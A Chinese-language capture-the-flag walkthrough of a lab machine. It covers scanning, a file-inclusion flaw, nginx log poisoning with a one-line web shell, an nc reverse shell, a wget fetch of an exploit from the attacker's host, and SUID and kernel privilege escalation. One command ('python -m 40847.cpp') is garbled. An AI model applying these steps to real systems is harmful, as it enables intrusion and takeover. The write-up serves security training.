一:信息收集阶段
1.首先确定kali和目标机同处于一个网段,即NAT模式
确定目标机ip为192.168.150.130
2.正常扫描目标的端口及详细服务发现三个端口 80 111 33827
3.接着使用whatweb看看有没有指纹信息,发现并没有什么可用的
4.使用dirb爆破一下子目录,发现footer.php里有个日期,一刷新就会随机变,不太了解有什么用
二:渗透利用阶段
1.那就访问一下各个端口看看网页内容
2.随便点点看看发现最后一页有个留言板,输入内容进去,发现url里出现了参数,且下面的日期又出现了变化
3.那目前判断这个地方可能存在文件包含,把上面那个?后面的firstname改为我们熟知的文件包含内容file=/etc/passwd看看能不能访问到
4.发现确实存在文件包含漏洞,既然目标是nginx系统且存在文件包含漏洞,那我们可以在日志里写入一个一句话小马进行连接shell,进行抓包访问nginx日志文件进行写马
一定要牢记主流服务的日志文件路径,这在打靶场时会很有用
nginx路径为:/var/log/nginx/access.log
上传后访问nginx日志文件并用蚁剑进行连接,发现连接成功
5.进入蚁剑后使用nc反弹一个shell到kali进行后续操作
kali建立nc监听进行连接,为了使用方便我们使用python创了一个伪终端
三:提权阶段
1.接下来就该进行提权操作了,首先查看拥有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
并没有发现我们熟知的几种提权,计划任务也没有
2.那就看看有没有内核漏洞,发现版本为3.16在脏牛漏洞里
使用脏牛尝试提权
3.下到root家使用python传到这个拿到的shell里
python -m 40847.cpp ##下载这个漏洞利用脚本
python -m http.server ##使用python建立一个简单的文件传输
wget http://192.168.150.128/40847.cpp ##下载这个漏洞脚本到shell里
给上权限,运行后,发现还是不行,提示利用失败
再回上出suid提权,发现唯一与以前不同的就是有个命令存在版本,那就去漏洞利用数据库搜索,看有没有漏洞
4.发现确实有漏洞,那就选第一个sh脚本文件试试
5.在反弹shell里利用wget下载这个脚本,给上权限,执行看看
发现直接拿到了root权限,进到root家就可以看到最后的flag